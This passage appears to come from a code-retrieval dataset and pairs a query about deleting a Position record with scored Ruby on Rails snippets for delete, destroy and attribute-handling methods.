{}).inject({}.with_indifferent_access) do |attrs,(attr,values)|\n attrs[attr] = Array(values).last\n attrs\n end\n end", "title": "" }, { "docid": "c2c9bff2c54e65fb1e90a29e2c640c0b", "score": "0.643951", "text": "def attributes=(new_attributes)\n return if new_attributes.nil?\n attributes = new_attributes.dup\n attributes.stringify_keys!\n \n multi_parameter_attributes = []\n remove_attributes_protected_from_mass_assignment(attributes).each do |k, v|\n k.include?(\"(\") ? multi_parameter_attributes << [ k, v ] : send(k + \"=\", v)\n end\n\n assign_multiparameter_attributes(multi_parameter_attributes)\n end", "title": "" }, { "docid": "38367144ccf21b310957002a67af90ee", "score": "0.64313775", "text": "def initialize(attributes = {}, new=true)\n #attributes = HashWithIndifferentAccess.new(attributes)\n \n if new\n @unsaved_attributes = attributes\n else\n @unsaved_attributes = {}\n end\n self.attributes = {}\n \n self.attributes.merge!(attributes)\n self.attributes unless self.attributes.empty?\n create_setters!\n end", "title": "" }, { "docid": "8a4cb84c26b853a1a74953878ceff30f", "score": "0.6429409", "text": "def update_attributes(attributes) \n attributes.each do |key, value|\n if key.match(/^field_([a-zA-Z0-9_]+)$/)\n attr_set($1, attributes.delete(key))\n end\n end\n super(attributes)\n end", "title": "" }, { "docid": "6252f960183b35afade3106ee25d7ec6", "score": "0.64269406", "text": "def update!(attributes)\n assign_attributes(attributes)\n save!\n end", "title": "" }, { "docid": "d8360214f4b1e30ac016188258a2e3a3", "score": "0.642382", "text": "def copy\n self.class.new.tap do |new_trans|\n attributes.each do |key,value|\n new_trans.send(\"#{key}=\", value) unless key == \"id\"\n end\n new_trans.save\n end\n end", "title": "" }, { "docid": "9301d15236b18523f068cc1ed6f93eca", "score": "0.6419723", "text": "def clone\n \t\t\tnew_doc = super\n \t\t\tself.attributes.keys.each do |attr|\n \t\t\t\tif new_doc.send(\"#{attr}\").respond_to? \"__metadata\"\n \t\t\t \t\tnew_doc.send(\"#{attr}=\",new_doc.send(\"#{attr}\").map{|c| c = c.clone \n \t\t\t \t\t\tc})\n \t\t\t\tend\n \t\t\tend\n \t\t\tnew_doc\n \t\tend", "title": "" } ]
85aea61fc4e4714731c8e6d29d15264e
=begin Function to delete a Position Param 1: logged user object Return if successful: 1.execution result(true), 2.response from the server Return if unsuccessful: 1.execution result(false), 2.response code from the server, or array of validation errors 3.response message from the server =end
[ { "docid": "cbb7b52eebd23ebb4dc021ee995c1d16", "score": "0.84454226", "text": "def delete(user)\n Rails.logger.debug \"Call to position.delete\"\n reqUrl = \"/api/position/#{self.id}\" #Set the request url\n rest_response = MwHttpRequest.http_delete_request(reqUrl,user['email'],user['password']) #Make the DELETE request to the server with the required parameters\n Rails.logger.debug \"Response from server: #{rest_response.code} #{rest_response.message}: #{rest_response.body}\"\n if rest_response.code == \"200\" #Validate if the response from the server is 200, which means OK\n return true, rest_response #Return success\n else\n return false, \"#{rest_response.code}\", \"#{rest_response.message}\" #Return error\n end\n end", "title": "" } ]
[ { "docid": "8c10f6366e2763dfcec8ce7d4dd402dd", "score": "0.7561329", "text": "def destroy\n if !check_session #Validate if the user session is active\n return #If not force return to trigger the redirect of the check_session function\n end\n response = Position.find(params[:id],session[:user]) #Retrieve the original position object to update\n if response[0] #Validate if the response was successfull\n @position = response[1] #Set the position object to be updated\n elsif validate_authorized_access(response[1]) #If the response was unsucessful, validate if it was caused by unauthorized access to the app or expired session\n flash[:danger] = t(:position_get_error_flash) #Set the error message for the user\n redirect_to positions_path(:election_id =>@position.election_id) #Redirect the user to the positions list page\n else\n return #If not force return to trigger the redirect of the check_session function\n end\n response2 = @position.delete(session[:user]) #Delete the position object\n if response2[0] #Validate if the response was successfull\n flash[:success] = t(:position_deletion_success_flash, position: @position.name) #Set the success message for the user\n elsif validate_authorized_access(response[1]) #If the response was unsucessful, validate if it was caused by unauthorized access to the app or expired session\n flash[:danger] = t(:position_deletion_error_flash) #Set the error message for the user\n else\n return #If not force return to trigger the redirect of the check_session function\n end\n redirect_to positions_path(:election_id =>@position.election_id) #Redirect the user to the positions list page\n rescue #Error Handilng code\n general_error_redirection('Controller: '+params[:controller]+'.'+action_name,$!)\n end", "title": "" }, { "docid": "9260c55f868b9558c1b97403d4ebc2bb", "score": "0.6992463", "text": "def destroy\n Tools.write2log(current_user.id, 'Удаление', 'Должности', 0, '# ' + @position.id.to_s)\n @position.destroy\n respond_to do |format|\n format.html { redirect_to positions_url }\n format.json { head :no_content }\n end\n end", "title": "" }, { "docid": "37bbb6a927b338e67b910d920b87d15d", "score": "0.69170755", "text": "def delete(user)\n Rails.logger.debug \"Call to user.delete\"\n reqUrl = \"/api/user/#{self.email}\" #Set the request url\n rest_response = MwHttpRequest.http_delete_request(reqUrl,user['email'],user['password']) #Make the DELETE request to the server with the required parameters\n Rails.logger.debug \"Response from server: #{rest_response.code} #{rest_response.message}: #{rest_response.body}\"\n if rest_response.code == \"200\" #Validate if the response from the server is 200, which means OK\n return true, rest_response #Return success\n else\n return false, \"#{rest_response.code}\", \"#{rest_response.message}\" #Return error\n end\n end", "title": "" }, { "docid": "e88eb0c62608cef9cac40146b397894d", "score": "0.68841445", "text": "def destroy\n @userposition.destroy\n respond_to do |format|\n format.html { redirect_to userpositions_url, notice: 'Userposition was successfully destroyed.' }\n format.json { head :no_content }\n end\n end", "title": "" }, { "docid": "1dd776d324b8ed4dcd5ac24feba4adcb", "score": "0.68243575", "text": "def destroy\n begin\n @position = current_user.positions.find(params[:id])\n @position.destroy\n rescue\n redirect_to :root\n end\n \n respond_to do |format|\n format.html { redirect_to positions_url }\n format.json { head :ok }\n end\n end", "title": "" }, { "docid": "f2a45db0c2a569718cbc1aadbed3af5b", "score": "0.67235506", "text": "def destroy\n @position = Position.find(params[:id])\n AdminLog.create(:admin_id=>session[:admin_id], :log=>\"Removed a position -> \"+@position.id.to_s)\n @position.destroy\n\n respond_to do |format|\n format.html { redirect_to(positions_url) }\n format.xml { head :ok }\n end\n end", "title": "" }, { "docid": "7b303d14778fd64b03bb004c119e9900", "score": "0.6696774", "text": "def delete(user)\n Rails.logger.debug \"Call to election.delete\"\n reqUrl = \"/api/election/#{self.id}\" #Set the request url\n rest_response = MwHttpRequest.http_delete_request(reqUrl,user['email'],user['password']) #Make the DELETE request to the server with the required parameters\n Rails.logger.debug \"Response from server: #{rest_response.code} #{rest_response.message}: #{rest_response.body}\"\n if rest_response.code == \"200\" #Validate if the response from the server is 200, which means OK\n return true, rest_response #Return success\n else\n return false, \"#{rest_response.code} #{rest_response.message}\" #Return error\n end\n end", "title": "" }, { "docid": "159315a6fa22a2506edbd1210b9746f6", "score": "0.6632406", "text": "def destroy\n begin\n @positionlevel = Positionlevel.find(params[:id])\n if @positionlevel.destroy\n @@request_result = {success:true, notice:'Operation ended successfully.'}\n else\n @@request_result[:errormsg] = @positionlevel.errors.full_messages[0]\n end\n rescue Exception => e \n @@request_result[:errormsg] = e.message\n end\n render json: @@request_result\n end", "title": "" }, { "docid": "ec5de7785e635f0e288c2a3a93efc07c", "score": "0.65992093", "text": "def delete(user)\n Rails.logger.debug \"Call to ticket.delete\"\n reqUrl = \"/api/ticket/#{self.id}\" #Set the request url\n rest_response = MwHttpRequest.http_delete_request(reqUrl,user['email'],user['password']) #Make the DELETE request to the server with the required parameters\n Rails.logger.debug \"Response from server: #{rest_response.code} #{rest_response.message}: #{rest_response.body}\"\n if rest_response.code == \"200\" #Validate if the response from the server is 200, which means OK\n return true, rest_response #Return success\n else\n return false, \"#{rest_response.code}\", \"#{rest_response.message}\" #Return error\n end\n end", "title": "" }, { "docid": "1fd33436210f4eb5a1348180b22d97fa", "score": "0.6594807", "text": "def destroy_position\n authorize! :delete, @employee_position\n @employee_position_new = EmployeePosition.new\n flash[:notice] = t('dest_pos') if @employee_position.destroy\n redirect_to dashboard_home_index_path\n emp_position\n end", "title": "" }, { "docid": "22c27fec1c59d082d4d4f4c44dfb516b", "score": "0.6583891", "text": "def delete_position\n @part_position = PartPosition.find_by_id(params[:id])\n @part_position.destroy\n\n render :json => {result:true}\n end", "title": "" }, { "docid": "d7c4a2abc96ad0941c7878df42d1c849", "score": "0.65404814", "text": "def destroy\n #@position = Position.find(params[:id])\n #position.destroy\n Position.destroy(params[:id])\n\n respond_to do |format|\n format.html { redirect_to admin_positions_url }\n format.json { head :no_content }\n end\n end", "title": "" }, { "docid": "d415354020e51da6a1f78d923e608458", "score": "0.6473587", "text": "def destroy\n @position = Position.find(params[:id])\n @position.destroy\n flash[:success] = 'Position ' + @position.job.title.to_s + ' held by ' + @position.user.first_name.to_s + ' ' + @position.user.last_name.to_s + ' has been successfully deleted.'\n redirect_to admin_positions_path\n end", "title": "" }, { "docid": "eac3162d0b11dc8b20f774685c889b70", "score": "0.64568776", "text": "def delete\n Rails.logger.info_log.info \" I,[#{Time.now.strftime(\"%Y-%m-%d %H:%M:%S %Z\")}]\" \"INFO -- : User click the delete button\" \n begin\n id=params[:format] \n user=RestClient.delete $api_service+'/users/'+id\n Rails.logger.info_log.info \" I,[#{Time.now.strftime(\"%Y-%m-%d %H:%M:%S %Z\")}]\" \"INFO -- : User deleted successfully\" \n rescue => e\n Rails.logger.custom_log.error { \"#{e} user_controller delete method\" }\n end\n \n redirect_to action: \"index\"\n\n\n end", "title": "" }, { "docid": "95e89281221138309b827390f0f32fe4", "score": "0.64526063", "text": "def destroy\n if !check_session #Validate if the user session is active\n return #If not force return to trigger the redirect of the check_session function\n end\n response = User.find(params[:email],session[:user]) #Retrieve the original user object to delete\n if response[0] #Validate if the response was successfull\n @user = response[1] #Set the user object to be updated\n elsif validate_authorized_access(response[1]) #If the response was unsucessful, validate if it was caused by unauthorized access to the app or expired session\n flash[:danger] = t(:user_get_error_flash) #Set the error message for the user\n redirect_to users_path #Redirect the user to the users list page\n else\n return #If not force return to trigger the redirect of the check_session function\n end\n response2 = @user.delete(session[:user]) #Delete the user object\n if response2[0] #Validate if the response was successfull\n flash[:success] = t(:user_deletion_success_flash, user: @user.email) #Set the success message for the user\n elsif validate_authorized_access(response[1]) #If the response was unsucessful, validate if it was caused by unauthorized access to the app or expired session\n flash[:danger] = t(:user_deletion_error_flash) #Set the error message for the user\n else\n return #If not force return to trigger the redirect of the check_session function\n end\n redirect_to users_path #Redirect the user to the users list page\n rescue #Error Handilng code\n general_error_redirection('Controller: '+params[:controller]+'.'+action_name,$!)\n end", "title": "" }, { "docid": "fcc2d6703ccf5abf44e1c1edb278144e", "score": "0.6427526", "text": "def sop_delete\n Rails.logger.info_log.info \" I,[#{Time.now.strftime(\"%Y-%m-%d %H:%M:%S %Z\")}]\" \"INFO -- : Entered in sops Delete\"\n begin\n id=params[\"format\"] \n user=RestClient.delete $api_service+'/sops'+id\n Rails.logger.info_log.info \" I,[#{Time.now.strftime(\"%Y-%m-%d %H:%M:%S %Z\")}]\" \"INFO -- : sops Deleted Successfully\"\n rescue => e\n Rails.logger.custom_log.error { \"#{e} sops_controller sop_delete method\" }\n end\n redirect_to action: \"index\"\n end", "title": "" }, { "docid": "fe9e54ca2f31e157bbcac17b28298f28", "score": "0.64229536", "text": "def delete uid\n response = call_api method: :delete, id: uid\n ap \"#{uid} deleted!\", color: {string: :green} if response.code==\"204\"\n return response\n end", "title": "" }, { "docid": "81fab67a8c2861a0d65a92a14188f79f", "score": "0.63977706", "text": "def destroy\r\n \r\n @position = Position.find(params[:id])\r\n\r\n @position.destroy\r\n \r\n respond_to do |format|\r\n format.html { redirect_to positions_url }\r\n format.xml { head :ok }\r\n end\r\n end", "title": "" }, { "docid": "84c74e826c2ae3296bda1aaf0b89b1ee", "score": "0.6353285", "text": "def user_deleted?(iam_client, user_name)\r\n iam_client.delete_user(user_name: user_name)\r\n return true\r\nrescue StandardError => e\r\n puts \"Error deleting user: #{e.message}\"\r\n return false\r\nend", "title": "" }, { "docid": "8e5c99dc70e508fd871f0e9fceaa04a6", "score": "0.63384044", "text": "def destroy\n @position.destroy\n respond_to do |format|\n format.html { redirect_to positions_url, notice: 'Registro eliminado satisfactoriamente.' }\n format.json { head :no_content }\n end\n end", "title": "" }, { "docid": "5617f89b4b403f9d524e3d38e53d0d70", "score": "0.6336159", "text": "def delete\n session[:user].delete\n session[:user] = nil\n @result = { success: true }\n end", "title": "" }, { "docid": "e198c21f33053580a968bdff47d102b3", "score": "0.6316923", "text": "def destroy\n success = !@user.nil?\n @user.destroy if success\n @response.body = success ? true : false\n @response.status = success ? :ok : :not_found\n respond\n end", "title": "" }, { "docid": "f756ad12c612871db1e84177848eb3e5", "score": "0.63082945", "text": "def destroy\n Position.delete(params[:id])\n\n respond_to do |format|\n format.json { head :no_content }\n end\n end", "title": "" }, { "docid": "31be2fbd2b5aedc5e7088866cdb5f8a3", "score": "0.6302614", "text": "def delete_user_data(user_id)\n # Define a path referencing the user data using the user_id\n path = \"/d2l/api/lp/#{$lp_ver}/users/#{user_id}\" # setup user path\n _delete(path)\n puts '[+] User data deleted successfully'.green\nend", "title": "" }, { "docid": "d6dee72ea7f65b8b79670d46c83ae47e", "score": "0.63004154", "text": "def destroy\n @position = Position.find(params[:id])\n @position.destroy\n\n respond_to do |format|\n format.html { redirect_to positions_url }\n format.json { head :no_content }\n end\n end", "title": "" }, { "docid": "d6dee72ea7f65b8b79670d46c83ae47e", "score": "0.63004154", "text": "def destroy\n @position = Position.find(params[:id])\n @position.destroy\n\n respond_to do |format|\n format.html { redirect_to positions_url }\n format.json { head :no_content }\n end\n end", "title": "" }, { "docid": "d6dee72ea7f65b8b79670d46c83ae47e", "score": "0.63004154", "text": "def destroy\n @position = Position.find(params[:id])\n @position.destroy\n\n respond_to do |format|\n format.html { redirect_to positions_url }\n format.json { head :no_content }\n end\n end", "title": "" }, { "docid": "d6dee72ea7f65b8b79670d46c83ae47e", "score": "0.63004154", "text": "def destroy\n @position = Position.find(params[:id])\n @position.destroy\n\n respond_to do |format|\n format.html { redirect_to positions_url }\n format.json { head :no_content }\n end\n end", "title": "" }, { "docid": "5f9d5d0f3c7f1016b282fc7e1c691295", "score": "0.62845093", "text": "def destroy\n\t # Step 1: Confirming we have permission to do this\n \t\n \t# Step 2: Attempt the deletion\n \t\n \t# Step 3: Handle a successful deletion update\n \t\n \t# Step 4: Handle a failed deletion attempt\n end", "title": "" }, { "docid": "c5f290af43ab40d5c1d88f0a117b49b2", "score": "0.62768286", "text": "def destroy\n userid = params[:userid]\n\n if Ranking.destroy2redis(userid) > 0\n flash[:notice] = 'User was successfully deleted.'\n else\n flash[:notice] = 'Not successfully deleted.'\n end\n\n respond_to do |format|\n format.html { redirect_to root_path }\n format.json { head :no_content }\n end\n end", "title": "" }, { "docid": "b2000434195f0bd7f518c1b6c3346ae0", "score": "0.6253945", "text": "def deleteUser( uoid )\n\n # parameter TypeCheck\n #BIMserverAPI::TypeCheck::Long( uoid )\n\n # BIMserver request\n request( { uoid: uoid } )\n end", "title": "" }, { "docid": "604fc1805dbc6cfba898a27d9c8733a5", "score": "0.62534153", "text": "def destroy\n @position = Position.find(params[:id])\n @position.destroy\n\n respond_to do |format|\n format.html { redirect_to(positions_url) }\n format.xml { head :ok }\n end\n end", "title": "" }, { "docid": "03594853520b84141d00604350220d33", "score": "0.6252231", "text": "def destroy\n if @user.destroy\n msg = MSG[:destroy][:success]\n else\n @success = false\n msg = @user.errors.full_message\n end\n common_response(msg, user: @user)\n end", "title": "" }, { "docid": "96c5308bdc960f19f6459730279456b3", "score": "0.6240842", "text": "def destroy\n authorize! :manage, AdPosition\n \n @ad_position.destroy\n respond_to do |format|\n format.html { redirect_to ad_positions_url, notice: 'Ad position was successfully destroyed.' }\n format.json { head :no_content }\n end\n end", "title": "" }, { "docid": "bba63de6f05e0fcea456e2d512d5feb6", "score": "0.6222733", "text": "def destroy\n @pos_usr_lorry.destroy\n respond_to do |format|\n format.html { redirect_to pos_usr_lorries_url, notice: 'Pos usr lorry was successfully destroyed.' }\n format.json { head :no_content }\n end\n end", "title": "" }, { "docid": "e4654b4c2f97dc45092e5fd80aaa08a7", "score": "0.62169844", "text": "def contact_delete\n begin\n Rails.logger.info_log.info \" I,[#{Time.now.strftime(\"%Y-%m-%d %H:%M:%S %Z\")}]\" \"INFO -- : Entered in contact delete\"\n id=params[\"format\"] \n user=RestClient.delete $api_service+'/contacts/'+id\n unless user.present?\n Rails.logger.debug_log.debug { \"#{\"contact may be not available otherwise check backend\"}\"}\n end\n redirect_to action: \"index\"\n rescue => e\n Rails.logger.custom_log.error { \"#{e} contact_controller contact_delete method\" }\n end\n \n end", "title": "" }, { "docid": "a7c070543c5bddec783e08b655adf4b5", "score": "0.6212652", "text": "def destroy\n @position = Position.find(params[:id])\n if @position.participations.any?\n flash[:error] = I18n.t(:position_delete_failed)\n\n respond_to do |format|\n format.html { redirect_to positions_url }\n format.json { head :no_content }\n end\n else\n @position.destroy\n\n respond_to do |format|\n format.html { redirect_to positions_url }\n format.json { head :no_content }\n end\n end\n end", "title": "" }, { "docid": "010438c6de61514971be51393f2c08c6", "score": "0.621001", "text": "def delete\n OK\n end", "title": "" }, { "docid": "0ad433adefe1220f2b7d429dc8025559", "score": "0.61938214", "text": "def destroy\n @position = Position.find(params[:id])\n @position.destroy\n\n respond_to do |format|\n format.html { redirect_to(template_positions_url(@template)) }\n format.xml { head :ok }\n end\n end", "title": "" }, { "docid": "8bfffc2d4a2f43e478267ed8c5f5236d", "score": "0.61704606", "text": "def delete\n #return render json: params.to_json\n if params[:guid].blank?\n return fail ActiveRecord::RecordNotFound, 'User not found'\n end\n\n result = Account.new.disable_user(params[:guid])\n\n if result\n @message = { message: 'User sucesfully deleted'}\n else\n @message = { message: 'Something went wrong, user not deleted'}\n end\n end", "title": "" }, { "docid": "65e0d2e3b15cc14904a09cfc293202e2", "score": "0.6167853", "text": "def destroy\n @user = User.find(params[:id])\n if not ( @current_user.admin? || @current_user.produce? )\n redirect_to @current_user\n else\n\n if @user.deleted\n @user.deleted = false\n else\n @user.deleted = true\n end\n @user.save\n\n respond_to do |format|\n format.html { redirect_to(users_url) }\n format.xml { head :ok }\n end\n end\n end", "title": "" }, { "docid": "25798f2ffef0a2dd6c336eadf01b6e56", "score": "0.61608994", "text": "def delete_user\n begin\n @user = User.find(params[:id])\n if(@user)\n #@sections = get_sections_for_user(@user.id);\n if @user.destroy\n #if(@sections)\n #@sections.each do |section|\n #section.destroy\n #end\n #end\n render_xml_output(\"Success\")\n else\n render_xml_output(\"Failure\")\n end\n else\n render_xml_output(\"user doesn\\'t exist\")\n end\n rescue ActiveRecord::RecordNotFound\n render_xml_output(\"No record found\")\n end\nend", "title": "" }, { "docid": "ac6ce581a27e69d0fc21ae3d9c02ce26", "score": "0.6157933", "text": "def delete\n self.class.headers 'Authorization' => \"OAuth #{ENV['sfdc_token']}\"\n self.class.headers 'Content-Type' => \"application/json\"\n response = self.class.delete(SObject.root_url+\"/sobjects/#{@object_name}/#{@Id}\")\n raise response.parsed_response[0]['message'] if response.code.to_i > 299\n nil\n end", "title": "" }, { "docid": "d2243aaa78dccb8cb82ae3a9a3d5838c", "score": "0.6142652", "text": "def deleteUser\n end", "title": "" }, { "docid": "1822d6c064755129166f6f6ec5b6f839", "score": "0.6139179", "text": "def deleteRecord(sObjectType,recordsToDelete)\n puts \"in deleteRecords\"\n if( recordsToDelete != nil ) #&& recordsToDelete.count > 0 && recordsToDelete.count < 10)\n result = @client.destroy(\"#{sObjectType}\", recordsToDelete)\n return result\n else\n return nil\n end \n end", "title": "" }, { "docid": "07415e96c3740b688a2fb7018a191a15", "score": "0.6132717", "text": "def destroy\n @position.destroy\n respond_to do |format|\n format.html { redirect_to positions_url, notice: 'Position was successfully destroyed.' }\n format.json { head :no_content }\n end\n end", "title": "" }, { "docid": "07415e96c3740b688a2fb7018a191a15", "score": "0.6132717", "text": "def destroy\n @position.destroy\n respond_to do |format|\n format.html { redirect_to positions_url, notice: 'Position was successfully destroyed.' }\n format.json { head :no_content }\n end\n end", "title": "" }, { "docid": "07415e96c3740b688a2fb7018a191a15", "score": "0.6132717", "text": "def destroy\n @position.destroy\n respond_to do |format|\n format.html { redirect_to positions_url, notice: 'Position was successfully destroyed.' }\n format.json { head :no_content }\n end\n end", "title": "" }, { "docid": "07415e96c3740b688a2fb7018a191a15", "score": "0.6132717", "text": "def destroy\n @position.destroy\n respond_to do |format|\n format.html { redirect_to positions_url, notice: 'Position was successfully destroyed.' }\n format.json { head :no_content }\n end\n end", "title": "" }, { "docid": "eceb00ea99461ef5866ff257d7d85557", "score": "0.6131657", "text": "def destroy\n @position.destroy\n respond_to do |format|\n format.html { redirect_to positions_url, notice: \"Position was successfully destroyed.\" }\n format.json { head :no_content }\n end\n end", "title": "" }, { "docid": "b2c6b17f7722c9244eacb8b3543192b7", "score": "0.6093765", "text": "def Delete\n # Get login info from session\n @UserInfo = Admins.new(session[:UserInfo])\n\n if @UserInfo.verify == true then\n @tmp = Contact.find_by_id(params[:id])\n if @tmp != nil then\n @tmp.destroy\n end\n redirect_to '/admin/contact'\n else\n redirect_to '/admin/dash-board'\n end\n end", "title": "" }, { "docid": "e23bf8a9c5b656cb05079a22ea50017b", "score": "0.6078728", "text": "def destroy\n @user_position_metric = UserPositionMetric.find(params[:id])\n @user_position_metric.destroy\n\n respond_to do |format|\n format.html { redirect_to user_position_metrics_url }\n format.json { head :no_content }\n end\n end", "title": "" }, { "docid": "e184c06319faaf729566411004599ccf", "score": "0.60685855", "text": "def delete\n begin\n ManagedObject.delete(object_class, params[:id], get_login)\n flash[:notice] = _(\"Deleted #{object_class::METHOD_PREFIX} #{params[:id]}\")\n rescue XMLRPCClientException => ex\n set_flash_on_exception(ex)\n end\n redirect_to :action => \"list\"\n return\n end", "title": "" }, { "docid": "fdec1b8bfaf1630fc395218f627d3cee", "score": "0.6067128", "text": "def destroy\n @employee_position = EmployeePosition.find(params[:id])\n @employee_position.destroy\n\n respond_to do |format|\n format.html { redirect_to(employee_positions_url) }\n format.xml { head :ok }\n end\n end", "title": "" }, { "docid": "222b8b3015e9ba2b35c5f336d0874d0a", "score": "0.60669655", "text": "def destroy\n @client_security_position = ClientSecurityPosition.find(params[:id])\n @client_security_position.destroy\n\n respond_to do |format|\n format.html { redirect_to(client_security_positions_url) }\n format.xml { head :ok }\n end\n end", "title": "" }, { "docid": "0d09afab267e11da50b9bbb3739d1fea", "score": "0.6065629", "text": "def destroy\n # @user.destroy\n @user = User.find(params[:id])\n notice_info = \"删除操作完成\";\n begin\n @user.destroy\n notice_info = \"用户 #{@user.name} 已被删除\"\n rescue Exception => e\n notice_info = e.message\n end\n\n respond_to do |format|\n format.html { redirect_to users_url, notice: notice_info }\n format.json { head :no_content }\n end\n end", "title": "" }, { "docid": "da13bc4f76ee1e34b75d4626ff445e90", "score": "0.606472", "text": "def execute_delete\n @listing = Listing.active.find_by_id(@response[\"listing_id\"])\n if @listing && self.user\n if @listing.user == self.user\n @listing.destroy\n @response = \"Listing of #{@listing.brief_description} has now been deleted.\"\n else\n @response = \"The listing number you entered is not valid.\"\n end\n else\n @response = \"The listing number you entered is not valid.\" \n end\n end", "title": "" }, { "docid": "25a3a1ef7b93a3c1a2a1cc18b2a6cfaa", "score": "0.6064204", "text": "def me_delete\n user_id, session_id = parse_authorization_header\n if user_id\n $pg.with do |pg|\n pg.exec_params('SELECT me_delete($1, $2)', [user_id, session_id]) do |r|\n if r.num_tuples == 1\n return [200, '']\n end\n end\n end\n end\n set_www_authenticate_header\n [401, '']\n end", "title": "" }, { "docid": "c742e10f951170228e5dbfb4be38e559", "score": "0.6061254", "text": "def delete_item_by_pos(position)\n \t#since array are zero based datastructures we rest 1 to the position\n \tposition -=1\n \tUI.print_delete_message(@items[position].description)\n \t@items.delete_at(position);\n\n end", "title": "" }, { "docid": "b62183878ec4e62c47d012ce0f736ad2", "score": "0.60599464", "text": "def destroy\n @user = User.find(params[:id])\n #@user.destroy\n if @user.deleted_flg == 1\n #@user.update_attributes(:deleted_flg => 0)\n @user.deleted_flg = 0\n @user.save\n else\n #@user.update_attributes(:deleted_flg => 1, :deleted_at => Time.current)\n @user.deleted_flg = 1\n @user.deleted_at = Time.current\n @user.save\n end\n\n respond_to do |format|\n input_check = params[:input_check].to_i\n format.html { redirect_to :controller => \"users\", :action => \"index\", :input_check => input_check }\n #format.html { redirect_to users_url }\n format.json { head :ok }\n end\n end", "title": "" }, { "docid": "9102c9cfae834f0179d4acae32d2f407", "score": "0.60586697", "text": "def destroy\n @position = Position.find(params[:id])\n @position.destroy\n flash[:success] = \"Position '#{@position.name}' deleted successfully\"\n redirect_to(positions_path)\n end", "title": "" }, { "docid": "4d79df2d3af62f92c03d8cff4497a62c", "score": "0.60489655", "text": "def destroy\n @employee_position = EmployeePosition.find(params[:id])\n @employee_position.destroy\n\n respond_to do |format|\n format.html { redirect_to employee_positions_url }\n format.json { head :no_content }\n end\n end", "title": "" }, { "docid": "4d42da22057d3565b9da8edd6c7425a1", "score": "0.60452473", "text": "def destroy\n @user = User.find(params[:id])\n if @user.is_admin\n flash[:error] = t(:user_not_deleted)\n else\n @user.destroy \n flash[:notice] = t(:user_deleted)\n end\n\n respond_to do |format|\n format.html { redirect_back_or_default(admin_users_url) }\n format.xml { head :ok }\n end\n end", "title": "" }, { "docid": "2b8edda29b7b3177d821dbad7a896abf", "score": "0.603374", "text": "def delete?; end", "title": "" }, { "docid": "2b8edda29b7b3177d821dbad7a896abf", "score": "0.603374", "text": "def delete?; end", "title": "" }, { "docid": "2b8edda29b7b3177d821dbad7a896abf", "score": "0.603374", "text": "def delete?; end", "title": "" }, { "docid": "df6a7888b344efafe56d48779721ed3a", "score": "0.60251874", "text": "def delete\n if @user.destroy\n render nothing: true, status: :ok\n end\n end", "title": "" }, { "docid": "9212275703ccb5c03e22ba86b45f9135", "score": "0.60231936", "text": "def destroy\n @position = @resume.positions.find(params[:id])\n @position.destroy\n\n respond_to do |format|\n format.html { redirect_to(edit_resume_path(@resume)) }\n format.xml { head :ok }\n end\n end", "title": "" }, { "docid": "e8393200d2e80ac031129467fc562eb2", "score": "0.6022022", "text": "def destroy\n @staff_position = StaffPosition.find(params[:id])\n @staff_position.destroy\n\n respond_to do |format|\n format.html { redirect_to staff_positions_url }\n format.json { head :ok }\n end\n end", "title": "" }, { "docid": "a863853168e2fcb43c8454cbe832035b", "score": "0.6021322", "text": "def division_delete\n Rails.logger.info_log.info \" I,[#{Time.now.strftime(\"%Y-%m-%d %H:%M:%S %Z\")}]\" \"INFO -- : Entered in division_delete method\"\n begin\n id=params[\"format\"] \n user=RestClient.delete $api_service+'/divisions/'+id\n rescue => e\n Rails.logger.custom_log.error { \"#{e} division_controller division_delete method\" }\n end\n redirect_to action: \"display\"\n end", "title": "" }, { "docid": "16451ef23d7c03ee058fd30b2069652e", "score": "0.60188055", "text": "def delete_user\n if not request.delete? then\n return\n end\n \n @user = User.find_by(username: user_params[:username])\n\n SurveyResponse.where({user_id: @user.id}).each do |resp|\n Answer.delete_all({survey_response_id: resp.id})\n resp.destroy\n end\n \n \n if not @user.nil? then\n puts \"DELETING USER\"\n @user.destroy\n redirect_to :controller => 'admin', :action => 'mainpage'\n end\n end", "title": "" }, { "docid": "b868697bfd3e59af557ef67a62f84e4f", "score": "0.60147375", "text": "def destroy\n @open_position.destroy\n respond_to do |format|\n format.html { redirect_to open_positions_url, notice: 'Open position was successfully destroyed.' }\n format.json { head :no_content }\n end\n end", "title": "" }, { "docid": "5814fd5aef52601e27afa192d5f14598", "score": "0.6004575", "text": "def destroy\n\n if @user.destroy\n\n render json: {user: {id: params[:id].to_i}},status: :ok\n\n else\n\n render json: {error: true,errors: @user.errors},status: :unprocessable_entity\n\n end\n\n \t\tend", "title": "" }, { "docid": "2c40dfd83299ecb2d677108a0452445b", "score": "0.6004229", "text": "def destroy\n login_user = User.find(session[:user_id]) unless is_super_user\n # Can not delete himself\n if is_super_user || (login_user != @user && login_user.permission <= @user.permission)\n if @user.try_destroy\n message = '用户删除成功'\n else\n message = '用户资源已回收'\n end\n else\n message = '权限不够'\n end\n respond_to do |format|\n format.html { redirect_to users_url, notice: message }\n format.json { head :no_content }\n end\n end", "title": "" }, { "docid": "8d0027a2ddd708952205cec85b439b00", "score": "0.60039", "text": "def destroy\n\t @positionlist = Positionlist.find(params[:id])\n @positionlist.destroy\n respond_to do |format|\n format.html { redirect_to positionlists_url, notice: 'Positionlist was successfully destroyed.' }\n format.json { head :no_content }\n end\n end", "title": "" }, { "docid": "f6b941e1dae643066f45b213d860705e", "score": "0.5997807", "text": "def delete\n result = DBAdapter.delete_model(:user, params[:id])\n method_to_call = result[\"method\"]\n status = result[\"status\"]\n model = result[\"model\"] # just in case\n render :json => method_to_call.call(model, code: status[\"id\"], message: status[\"message\"])\n end", "title": "" }, { "docid": "391c2eb4340fccfe996c50ee16c7da35", "score": "0.59928393", "text": "def destroy\n @staff_position = StaffPosition.find(params[:id])\n @staff_position.destroy\n\n respond_to do |format|\n format.html { redirect_to(staff_positions_url) }\n format.xml { head :ok }\n end\n end", "title": "" }, { "docid": "489c3e1bf89be92c719dc86796fe260b", "score": "0.5975036", "text": "def destroy\n @staff_position.destroy\n respond_to do |format|\n format.html { redirect_to staff_positions_url }\n format.json { head :no_content }\n end\n end", "title": "" }, { "docid": "37a34b1a3385434adacdd03b3e9fee9a", "score": "0.5974597", "text": "def destroy\n @hr_position = Hr::Position.find(params[:id])\n @hr_position.destroy\n\n respond_to do |format|\n format.html { redirect_to(hr_positions_url) }\n format.xml { head :ok }\n end\n end", "title": "" }, { "docid": "9e47ee80d16dc879109ef7f4c5d3eeb0", "score": "0.5972439", "text": "def destroy\n\n\n if ( session[:user_usertype] == 1 or params[:id].to_i == session[:user_id].to_i )\n x=1\n else\n render plain: \"unauthorized access \"\n return\n 